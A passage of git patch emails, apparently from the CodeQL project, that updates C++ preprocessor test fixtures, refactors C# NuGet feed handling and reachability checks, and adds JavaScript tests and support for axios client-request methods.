PreprocessorEndif | N/A | N/A | -| pp.cpp:0:0:0:0 | pp.cpp | 92 | 1 | 94 | 14 | PreprocessorIf | defined(FOO) && defined(BAR) && !defined(BAZ) | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 92 | 1 | 94 | 19 | PreprocessorIf | defined(FOO) && defined(BAR) && !defined(BAZ) | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 96 | 1 | 96 | 6 | PreprocessorEndif | N/A | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 98 | 1 | 98 | 13 | Macro | FOO | 8 | | pp.cpp:0:0:0:0 | pp.cpp | 99 | 1 | 99 | 13 | Macro | BAR | 2 | | pp.cpp:0:0:0:0 | pp.cpp | 100 | 1 | 100 | 13 | Macro | BAZ | 4 | -| pp.cpp:0:0:0:0 | pp.cpp | 101 | 1 | 104 | 3 | PreprocessorIf | ((FOO / BAR) == 4) && ((BAZ * QUX) > 10) | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 101 | 1 | 104 | 11 | PreprocessorIf | ((FOO / BAR) == 4) && ((BAZ * QUX) > 10) | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 106 | 1 | 106 | 6 | PreprocessorEndif | N/A | N/A | -| pp.cpp:0:0:0:0 | pp.cpp | 109 | 1 | 111 | 10 | PreprocessorIf | defined(FOO) && defined(BAR) && defined(BAZ) | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 109 | 1 | 111 | 15 | PreprocessorIf | defined(FOO) && defined(BAR) && defined(BAZ) | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 112 | 1 | 112 | 29 | Macro | CONDITIONAL_MACRO_4 | 4 | | pp.cpp:0:0:0:0 | pp.cpp | 113 | 1 | 113 | 6 | PreprocessorEndif | N/A | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 116 | 1 | 116 | 40 | PreprocessorIf | defined SIMPLE_COMMENT | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 118 | 1 | 118 | 6 | PreprocessorEndif | N/A | N/A | | pp.h:0:0:0:0 | pp.h | 1 | 1 | 1 | 12 | PreprocessorPragma | once | N/A | | pp.h:0:0:0:0 | pp.h | 2 | 1 | 2 | 29 | PreprocessorWarning | "This should happen" | N/A | | pp.h:0:0:0:0 | pp.h | 3 | 1 | 3 | 27 | PreprocessorLine | 33 "emerald_city.h" | N/A | From 5eda853de4931e7a47181161bddc4530c4779287 Mon Sep 17 00:00:00 2001 From: idrissrio Date: Fri, 21 Mar 2025 15:25:41 +0100 Subject: [PATCH 028/121] C++: Accept changes after C++ extractor preprocessor fix --- .../preprocessor/preprocessor/pp.cpp | 28 ++++++++++++++++++- .../preprocessor/preproc.expected | 27 ++++++++++++------ 2 files changed, 45 insertions(+), 10 deletions(-) diff --git a/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp b/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp index 70dd8b02c0f..2cf7409f667 100644 --- a/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp +++ b/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp @@ -113,6 +113,32 @@ templateClassContext tcci; #endif -#if defined /* // test */ SIMPLE_COMMENT //this comment \ +#if defined /* //test */ SIMPLE_COMMENT //this comment \ (defined(SIMPLE_COMMENT)) spans over multiple lines #endif + +#warning foo \ + +#warning foo \ +\ +/* a comment */ + +#warning foo \ +\ + +#warning foo \ +\ +// a comment + + +#define FOO 8 +#define BAR 2 +#define BAZ 4 +#if ((FOO / BAR) \ + == 4) && ((BAZ \ + /** comment */ \ + * QUX) \ + /** comment */ \ + > 10) +#define CONDITIONAL_MACRO_3 3 +#endif diff --git a/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected b/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected index 52c68941732..37f9ec585b1 100644 --- a/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected +++ b/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected @@ -33,32 +33,41 @@ | pp.cpp:0:0:0:0 | pp.cpp | 50 | 2 | 50 | 48 | Macro | MACRO_TEMPLATECLASSCONTEXT_REFERENCED | 5 | | pp.cpp:0:0:0:0 | pp.cpp | 54 | 3 | 54 | 39 | Macro | MACRO_TEMPLATEMETHODCONTEXT | 6 | | pp.cpp:0:0:0:0 | pp.cpp | 57 | 1 | 57 | 21 | PreprocessorIfdef | INSTANTIATION | N/A | -| pp.cpp:0:0:0:0 | pp.cpp | 59 | 1 | 59 | 6 | PreprocessorElse | N/A | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 59 | 1 | 59 | 6 | PreprocessorElse | | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 60 | 3 | 60 | 21 | Macro | IN_TEMPLATE | | -| pp.cpp:0:0:0:0 | pp.cpp | 61 | 1 | 61 | 7 | PreprocessorEndif | N/A | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 61 | 1 | 61 | 7 | PreprocessorEndif | | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 69 | 1 | 69 | 21 | Macro | INSTANTIATION | | | pp.cpp:0:0:0:0 | pp.cpp | 72 | 1 | 72 | 11 | Macro | BAR | | -| pp.cpp:0:0:0:0 | pp.cpp | 74 | 1 | 75 | 15 | PreprocessorIf | defined(BAR) && defined(BAR) | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 74 | 1 | 75 | 14 | PreprocessorIf | defined(BAR) && defined(BAR) | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 76 | 1 | 76 | 20 | PreprocessorWarning | BAR defined | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 77 | 1 | 77 | 6 | PreprocessorEndif | N/A | N/A | -| pp.cpp:0:0:0:0 | pp.cpp | 79 | 1 | 80 | 45 | PreprocessorIf | defined MACROTHREE && (defined(MACROONE)) | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 79 | 1 | 80 | 25 | PreprocessorIf | defined MACROTHREE && (defined(MACROONE)) | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 81 | 1 | 81 | 6 | PreprocessorEndif | N/A | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 83 | 1 | 83 | 26 | PreprocessorIf | defined SIMPLE_COMMENT | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 85 | 1 | 85 | 6 | PreprocessorEndif | N/A | N/A | -| pp.cpp:0:0:0:0 | pp.cpp | 87 | 1 | 88 | 17 | PreprocessorIf | defined(FOO) && defined(BAR) | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 87 | 1 | 88 | 16 | PreprocessorIf | defined(FOO) && defined(BAR) | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 90 | 1 | 90 | 6 | PreprocessorEndif | N/A | N/A | -| pp.cpp:0:0:0:0 | pp.cpp | 92 | 1 | 94 | 19 | PreprocessorIf | defined(FOO) && defined(BAR) && !defined(BAZ) | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 92 | 1 | 94 | 17 | PreprocessorIf | defined(FOO) && defined(BAR) && !defined(BAZ) | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 96 | 1 | 96 | 6 | PreprocessorEndif | N/A | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 98 | 1 | 98 | 13 | Macro | FOO | 8 | | pp.cpp:0:0:0:0 | pp.cpp | 99 | 1 | 99 | 13 | Macro | BAR | 2 | | pp.cpp:0:0:0:0 | pp.cpp | 100 | 1 | 100 | 13 | Macro | BAZ | 4 | -| pp.cpp:0:0:0:0 | pp.cpp | 101 | 1 | 104 | 11 | PreprocessorIf | ((FOO / BAR) == 4) && ((BAZ * QUX) > 10) | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 101 | 1 | 104 | 8 | PreprocessorIf | ((FOO / BAR) == 4) && ((BAZ * QUX) > 10) | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 106 | 1 | 106 | 6 | PreprocessorEndif | N/A | N/A | -| pp.cpp:0:0:0:0 | pp.cpp | 109 | 1 | 111 | 15 | PreprocessorIf | defined(FOO) && defined(BAR) && defined(BAZ) | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 109 | 1 | 111 | 13 | PreprocessorIf | defined(FOO) && defined(BAR) && defined(BAZ) | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 112 | 1 | 112 | 29 | Macro | CONDITIONAL_MACRO_4 | 4 | | pp.cpp:0:0:0:0 | pp.cpp | 113 | 1 | 113 | 6 | PreprocessorEndif | N/A | N/A | -| pp.cpp:0:0:0:0 | pp.cpp | 116 | 1 | 116 | 40 | PreprocessorIf | defined SIMPLE_COMMENT | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 116 | 1 | 116 | 39 | PreprocessorIf | defined SIMPLE_COMMENT | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 118 | 1 | 118 | 6 | PreprocessorEndif | N/A | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 120 | 1 | 120 | 14 | PreprocessorWarning | foo | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 122 | 1 | 122 | 14 | PreprocessorWarning | foo | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 126 | 1 | 126 | 14 | PreprocessorWarning | foo | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 129 | 1 | 129 | 14 | PreprocessorWarning | foo | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 134 | 1 | 134 | 13 | Macro | FOO | 8 | +| pp.cpp:0:0:0:0 | pp.cpp | 135 | 1 | 135 | 13 | Macro | BAR | 2 | +| pp.cpp:0:0:0:0 | pp.cpp | 136 | 1 | 136 | 13 | Macro | BAZ | 4 | +| pp.cpp:0:0:0:0 | pp.cpp | 137 | 1 | 142 | 8 | PreprocessorIf | ((FOO / BAR) == 4) && ((BAZ * QUX) > 10) | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 144 | 1 | 144 | 6 | PreprocessorEndif | N/A | N/A | | pp.h:0:0:0:0 | pp.h | 1 | 1 | 1 | 12 | PreprocessorPragma | once | N/A | | pp.h:0:0:0:0 | pp.h | 2 | 1 | 2 | 29 | PreprocessorWarning | "This should happen" | N/A | | pp.h:0:0:0:0 | pp.h | 3 | 1 | 3 | 27 | PreprocessorLine | 33 "emerald_city.h" | N/A | From 3c54722a748a08eb383692caadc8777dc53c57ec Mon Sep 17 00:00:00 2001 From: idrissrio Date: Fri, 21 Mar 2025 17:33:23 +0100 Subject: [PATCH 029/121] C++: Accept changes after C++ extractor preprocessor fix --- .../preprocessor/preprocessor/pp.cpp | 19 +++++++++++++++++++ .../preprocessor/preproc.expected | 6 ++++++ 2 files changed, 25 insertions(+) diff --git a/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp b/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp index 2cf7409f667..17ae6ede866 100644 --- a/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp +++ b/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp @@ -142,3 +142,22 @@ templateClassContext tcci; > 10) #define CONDITIONAL_MACRO_3 3 #endif + +#define X 1 +#define Y 2 +#if defined(X) && \ + /*this is a comment*/ defined(Y) \ + // another comment +#endif + +#warning FOO\ + \ + \ + \ +BAR + + +#warning foo \ +\ +/* comment */ \ +\ diff --git a/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected b/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected index 37f9ec585b1..f244738a7e8 100644 --- a/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected +++ b/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected @@ -68,6 +68,12 @@ | pp.cpp:0:0:0:0 | pp.cpp | 136 | 1 | 136 | 13 | Macro | BAZ | 4 | | pp.cpp:0:0:0:0 | pp.cpp | 137 | 1 | 142 | 8 | PreprocessorIf | ((FOO / BAR) == 4) && ((BAZ * QUX) > 10) | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 144 | 1 | 144 | 6 | PreprocessorEndif | N/A | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 146 | 1 | 146 | 11 | Macro | X | 1 | +| pp.cpp:0:0:0:0 | pp.cpp | 147 | 1 | 147 | 11 | Macro | Y | 2 | +| pp.cpp:0:0:0:0 | pp.cpp | 148 | 1 | 149 | 38 | PreprocessorIf | defined(X) && defined(Y) | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 151 | 1 | 151 | 6 | PreprocessorEndif | N/A | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 153 | 1 | 157 | 3 | PreprocessorWarning | FOOBAR | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 160 | 1 | 160 | 14 | PreprocessorWarning | foo | N/A | | pp.h:0:0:0:0 | pp.h | 1 | 1 | 1 | 12 | PreprocessorPragma | once | N/A | | pp.h:0:0:0:0 | pp.h | 2 | 1 | 2 | 29 | PreprocessorWarning | "This should happen" | N/A | | pp.h:0:0:0:0 | pp.h | 3 | 1 | 3 | 27 | PreprocessorLine | 33 "emerald_city.h" | N/A | From 13f4f48d2753e7de7ef135d41482314dbb84d11c Mon Sep 17 00:00:00 2001 From: idrissrio Date: Mon, 24 Mar 2025 15:16:26 +0100 Subject: [PATCH 030/121] C++: Accept changes after C++ extractor preprocessor fix --- .../preprocessor/preprocessor/pp.cpp | 4 ++-- .../preprocessor/preprocessor/preproc.expected | 16 ++++++++-------- 2 files changed, 10 insertions(+), 10 deletions(-) diff --git a/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp b/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp index 17ae6ede866..5e23254781b 100644 --- a/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp +++ b/cpp/ql/test/library-tests/preprocessor/preprocessor/pp.cpp @@ -77,7 +77,7 @@ templateClassContext tcci; #endif #if defined MACROTHREE/**hello*/ && /*world*/\ -/*hw*/(defined(MACROONE)) /* macroone */ +/*hw*/ (defined(MACROONE)) /* macroone */ #endif #if defined SIMPLE_COMMENT //this comment \ @@ -159,5 +159,5 @@ BAR #warning foo \ \ -/* comment */ \ +/* comment */ \ \ diff --git a/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected b/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected index f244738a7e8..8857f89ff8d 100644 --- a/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected +++ b/cpp/ql/test/library-tests/preprocessor/preprocessor/preproc.expected @@ -41,7 +41,7 @@ | pp.cpp:0:0:0:0 | pp.cpp | 74 | 1 | 75 | 14 | PreprocessorIf | defined(BAR) && defined(BAR) | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 76 | 1 | 76 | 20 | PreprocessorWarning | BAR defined | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 77 | 1 | 77 | 6 | PreprocessorEndif | N/A | N/A | -| pp.cpp:0:0:0:0 | pp.cpp | 79 | 1 | 80 | 25 | PreprocessorIf | defined MACROTHREE && (defined(MACROONE)) | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 79 | 1 | 80 | 26 | PreprocessorIf | defined MACROTHREE && (defined(MACROONE)) | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 81 | 1 | 81 | 6 | PreprocessorEndif | N/A | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 83 | 1 | 83 | 26 | PreprocessorIf | defined SIMPLE_COMMENT | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 85 | 1 | 85 | 6 | PreprocessorEndif | N/A | N/A | @@ -59,10 +59,10 @@ | pp.cpp:0:0:0:0 | pp.cpp | 113 | 1 | 113 | 6 | PreprocessorEndif | N/A | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 116 | 1 | 116 | 39 | PreprocessorIf | defined SIMPLE_COMMENT | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 118 | 1 | 118 | 6 | PreprocessorEndif | N/A | N/A | -| pp.cpp:0:0:0:0 | pp.cpp | 120 | 1 | 120 | 14 | PreprocessorWarning | foo | N/A | -| pp.cpp:0:0:0:0 | pp.cpp | 122 | 1 | 122 | 14 | PreprocessorWarning | foo | N/A | -| pp.cpp:0:0:0:0 | pp.cpp | 126 | 1 | 126 | 14 | PreprocessorWarning | foo | N/A | -| pp.cpp:0:0:0:0 | pp.cpp | 129 | 1 | 129 | 14 | PreprocessorWarning | foo | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 120 | 1 | 120 | 12 | PreprocessorWarning | foo | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 122 | 1 | 122 | 12 | PreprocessorWarning | foo | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 126 | 1 | 126 | 12 | PreprocessorWarning | foo | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 129 | 1 | 129 | 12 | PreprocessorWarning | foo | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 134 | 1 | 134 | 13 | Macro | FOO | 8 | | pp.cpp:0:0:0:0 | pp.cpp | 135 | 1 | 135 | 13 | Macro | BAR | 2 | | pp.cpp:0:0:0:0 | pp.cpp | 136 | 1 | 136 | 13 | Macro | BAZ | 4 | @@ -70,10 +70,10 @@ | pp.cpp:0:0:0:0 | pp.cpp | 144 | 1 | 144 | 6 | PreprocessorEndif | N/A | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 146 | 1 | 146 | 11 | Macro | X | 1 | | pp.cpp:0:0:0:0 | pp.cpp | 147 | 1 | 147 | 11 | Macro | Y | 2 | -| pp.cpp:0:0:0:0 | pp.cpp | 148 | 1 | 149 | 38 | PreprocessorIf | defined(X) && defined(Y) | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 148 | 1 | 149 | 36 | PreprocessorIf | defined(X) && defined(Y) | N/A | | pp.cpp:0:0:0:0 | pp.cpp | 151 | 1 | 151 | 6 | PreprocessorEndif | N/A | N/A | -| pp.cpp:0:0:0:0 | pp.cpp | 153 | 1 | 157 | 3 | PreprocessorWarning | FOOBAR | N/A | -| pp.cpp:0:0:0:0 | pp.cpp | 160 | 1 | 160 | 14 | PreprocessorWarning | foo | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 153 | 1 | 157 | 3 | PreprocessorWarning | FOO BAR | N/A | +| pp.cpp:0:0:0:0 | pp.cpp | 160 | 1 | 160 | 12 | PreprocessorWarning | foo | N/A | | pp.h:0:0:0:0 | pp.h | 1 | 1 | 1 | 12 | PreprocessorPragma | once | N/A | | pp.h:0:0:0:0 | pp.h | 2 | 1 | 2 | 29 | PreprocessorWarning | "This should happen" | N/A | | pp.h:0:0:0:0 | pp.h | 3 | 1 | 3 | 27 | PreprocessorLine | 33 "emerald_city.h" | N/A | From d564529f3cf6fb925419654ae9ae5797df861ce7 Mon Sep 17 00:00:00 2001 From: "Michael B. Gale" Date: Mon, 24 Mar 2025 17:08:05 +0000 Subject: [PATCH 031/121] C#: Change `RestoreSettings` to have general `extraArgs` parameter This allows the string of package feeds to be constructed once and used repeatedly in the parallel restore loop as well. --- .../DotNet.cs | 18 +++++------------- .../IDotNet.cs | 2 +- .../NugetPackageRestorer.cs | 16 +++++++++++++--- 3 files changed, 19 insertions(+), 17 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DotNet.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DotNet.cs index 36c85cba9e2..a798048b933 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DotNet.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/DotNet.cs @@ -67,19 +67,6 @@ namespace Semmle.Extraction.CSharp.DependencyFetching args += $" --configfile \"{restoreSettings.PathToNugetConfig}\""; } - // Add package sources. If any are present, they override all sources specified in - // the configuration file(s). - if (restoreSettings.Sources != null) - { - var feedArgs = new StringBuilder(); - foreach (string source in restoreSettings.Sources) - { - feedArgs.Append($" -s {source}"); - } - - args += feedArgs.ToString(); - } - if (restoreSettings.ForceReevaluation) { args += " --force"; @@ -90,6 +77,11 @@ namespace Semmle.Extraction.CSharp.DependencyFetching args += " /p:EnableWindowsTargeting=true"; } + if (restoreSettings.ExtraArgs != null) + { + args += $" {restoreSettings.ExtraArgs}"; + } + return args; } diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/IDotNet.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/IDotNet.cs index 44bd4216703..eec6a2b8d3b 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/IDotNet.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/IDotNet.cs @@ -17,7 +17,7 @@ namespace Semmle.Extraction.CSharp.DependencyFetching IList GetNugetFeedsFromFolder(string folderPath); } - public record class RestoreSettings(string File, string PackageDirectory, bool ForceDotnetRefAssemblyFetching, IList? Sources = null, string? PathToNugetConfig = null, bool ForceReevaluation = false, bool TargetWindows = false); + public record class RestoreSettings(string File, string PackageDirectory, bool ForceDotnetRefAssemblyFetching, string? ExtraArgs = null, string? PathToNugetConfig = null, bool ForceReevaluation = false, bool TargetWindows = false); public partial record class RestoreResult(bool Success, IList Output) { diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs index 4f65432a561..cd9f80b60b3 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs @@ -265,7 +265,7 @@ namespace Semmle.Extraction.CSharp.DependencyFetching // Conservatively, we only set this to a non-null value if a Dependabot proxy is enabled. // This ensures that we continue to get the old behaviour where feeds are taken from // `nuget.config` files instead of the command-line arguments. - HashSet? sources = null; + string? extraArgs = null; if (this.dependabotProxy is not null) { @@ -273,9 +273,19 @@ namespace Semmle.Extraction.CSharp.DependencyFetching // of the private registry feeds. However, since providing them as command-line arguments // to `dotnet` ignores other feeds that may be configured, we also need to add the feeds // we have discovered from analysing `nuget.config` files. - sources = configuredSources ?? new(); + var sources = configuredSources ?? new(); sources.Add(PublicNugetOrgFeed); this.dependabotProxy.RegistryURLs.ForEach(url => sources.Add(url)); + + // Add package sources. If any are present, they override all sources specified in + // the configuration file(s). + var feedArgs = new StringBuilder(); + foreach (string source in sources) + { + feedArgs.Append($" -s {source}"); + } + + extraArgs = feedArgs.ToString(); } var successCount = 0; @@ -292,7 +302,7 @@ namespace Semmle.Extraction.CSharp.DependencyFetching foreach (var project in projectGroup) { logger.LogInfo($"Restoring project {project}..."); - var res = dotnet.Restore(new(project, PackageDirectory.DirInfo.FullName, ForceDotnetRefAssemblyFetching: true, sources?.ToList(), TargetWindows: isWindows)); + var res = dotnet.Restore(new(project, PackageDirectory.DirInfo.FullName, ForceDotnetRefAssemblyFetching: true, extraArgs, TargetWindows: isWindows)); assets.AddDependenciesRange(res.AssetsFilePaths); lock (sync) { From 92eab47def3e2a45151020311ebb8acaf0892a79 Mon Sep 17 00:00:00 2001 From: "Michael B. Gale" Date: Mon, 24 Mar 2025 17:15:49 +0000 Subject: [PATCH 032/121] C#: Refactor `CheckFeeds` to have an overloaded variant that accepts a given set of feeds. --- .../NugetPackageRestorer.cs | 37 ++++++++++++++----- 1 file changed, 27 insertions(+), 10 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs index cd9f80b60b3..7d9c548a143 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs @@ -700,11 +700,36 @@ namespace Semmle.Extraction.CSharp.DependencyFetching return (timeoutMilliSeconds, tryCount); } + /// + /// Checks that we can connect to all Nuget feeds that are explicitly configured in configuration files. + /// + /// Outputs the set of explicit feeds. + /// True if all feeds are reachable or false otherwise. private bool CheckFeeds(out HashSet explicitFeeds) { - logger.LogInfo("Checking Nuget feeds..."); (explicitFeeds, var allFeeds) = GetAllFeeds(); + var allFeedsReachable = this.CheckFeeds(explicitFeeds); + + var inheritedFeeds = allFeeds.Except(explicitFeeds).ToHashSet(); + if (inheritedFeeds.Count > 0) + { + logger.LogInfo($"Inherited Nuget feeds (not checked for reachability): {string.Join(", ", inheritedFeeds.OrderBy(f => f))}"); + compilationInfoContainer.CompilationInfos.Add(("Inherited Nuget feed count", inheritedFeeds.Count.ToString())); + } + + return allFeedsReachable; + } + + /// + /// Checks that we can connect to the specified Nuget feeds. + /// + /// The set of package feeds to check. + /// True if all feeds are reachable or false otherwise. + private bool CheckFeeds(HashSet feeds) + { + logger.LogInfo("Checking that Nuget feeds are reachable..."); + var excludedFeeds = EnvironmentVariables.GetURLs(EnvironmentVariableNames.ExcludedNugetFeedsFromResponsivenessCheck) .ToHashSet(); @@ -715,7 +740,7 @@ namespace Semmle.Extraction.CSharp.DependencyFetching var (initialTimeout, tryCount) = GetFeedRequestSettings(isFallback: false); - var allFeedsReachable = explicitFeeds.All(feed => excludedFeeds.Contains(feed) || IsFeedReachable(feed, initialTimeout, tryCount)); + var allFeedsReachable = feeds.All(feed => excludedFeeds.Contains(feed) || IsFeedReachable(feed, initialTimeout, tryCount)); if (!allFeedsReachable) { logger.LogWarning("Found unreachable Nuget feed in C# analysis with build-mode 'none'. This may cause missing dependencies in the analysis."); @@ -730,14 +755,6 @@ namespace Semmle.Extraction.CSharp.DependencyFetching } compilationInfoContainer.CompilationInfos.Add(("All Nuget feeds reachable", allFeedsReachable ? "1" : "0")); - - var inheritedFeeds = allFeeds.Except(explicitFeeds).ToHashSet(); - if (inheritedFeeds.Count > 0) - { - logger.LogInfo($"Inherited Nuget feeds (not checked for reachability): {string.Join(", ", inheritedFeeds.OrderBy(f => f))}"); - compilationInfoContainer.CompilationInfos.Add(("Inherited Nuget feed count", inheritedFeeds.Count.ToString())); - } - return allFeedsReachable; } From 44483693239f120acfbf6dd9509f79e102537505 Mon Sep 17 00:00:00 2001 From: "Michael B. Gale" Date: Mon, 24 Mar 2025 17:27:22 +0000 Subject: [PATCH 033/121] C#: Check that private package registry feeds are reachable --- .../NugetPackageRestorer.cs | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs index 7d9c548a143..828265781b2 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp.DependencyFetching/NugetPackageRestorer.cs @@ -708,8 +708,13 @@ namespace Semmle.Extraction.CSharp.DependencyFetching private bool CheckFeeds(out HashSet explicitFeeds) { (explicitFeeds, var allFeeds) = GetAllFeeds(); + HashSet feedsToCheck = explicitFeeds; - var allFeedsReachable = this.CheckFeeds(explicitFeeds); + // If private package registries are configured for C#, then check those + // in addition to the ones that are configured in `nuget.config` files. + this.dependabotProxy?.RegistryURLs.ForEach(url => feedsToCheck.Add(url)); + + var allFeedsReachable = this.CheckFeeds(feedsToCheck); var inheritedFeeds = allFeeds.Except(explicitFeeds).ToHashSet(); if (inheritedFeeds.Count > 0) From e79f4602b51a28ef2b2186fa7a6d771c5bfe450b Mon Sep 17 00:00:00 2001 From: Napalys Date: Fri, 21 Mar 2025 18:01:23 +0100 Subject: [PATCH 034/121] Added test for `axios` methods. In particular for `postForm` `putForm` `patchForm` `getUri`. --- .../test/library-tests/frameworks/ClientRequests/tst.js | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js b/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js index c9fc40dc506..580627682cf 100644 --- a/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js +++ b/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js @@ -339,3 +339,12 @@ function gotTests(url){ const jsonClient2 = got.extend({url: url}).extend({url: url}); jsonClient2.get(); } + +function moreAxiosTests(url, data, config){ + axios.postForm(url, data, config); // not flagged + axios.putForm(url, data); // not flagged + axios.putForm(url, data, config); // not flagged + axios.patchForm(url, data); // not flagged + axios.patchForm(url, data, config); // not flagged + axios.getUri({ url: url }); // not flagged +} From 69fe251eac1e627570c6ad684541ee274db91e6f Mon Sep 17 00:00:00 2001 From: Napalys Date: Fri, 21 Mar 2025 18:05:28 +0100 Subject: [PATCH 035/121] Add support for `axios.postForm` in `ClientRequest`. --- .../ql/lib/semmle/javascript/frameworks/ClientRequests.qll | 4 +++- .../frameworks/ClientRequests/ClientRequests.expected | 4 ++++ .../ql/test/library-tests/frameworks/ClientRequests/tst.js | 2 +- 3 files changed, 8 insertions(+), 2 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/frameworks/ClientRequests.qll b/javascript/ql/lib/semmle/javascript/frameworks/ClientRequests.qll index c2b01cf7317..e137b66c140 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/ClientRequests.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/ClientRequests.qll @@ -222,7 +222,7 @@ module ClientRequest { method = "request" or this = axios().getMember(method).getACall() and - method = [httpMethodName(), "request"] + method = [httpMethodName(), "request", "postForm"] } private int getOptionsArgIndex() { @@ -254,6 +254,8 @@ module ClientRequest { method = ["post", "put"] and result = 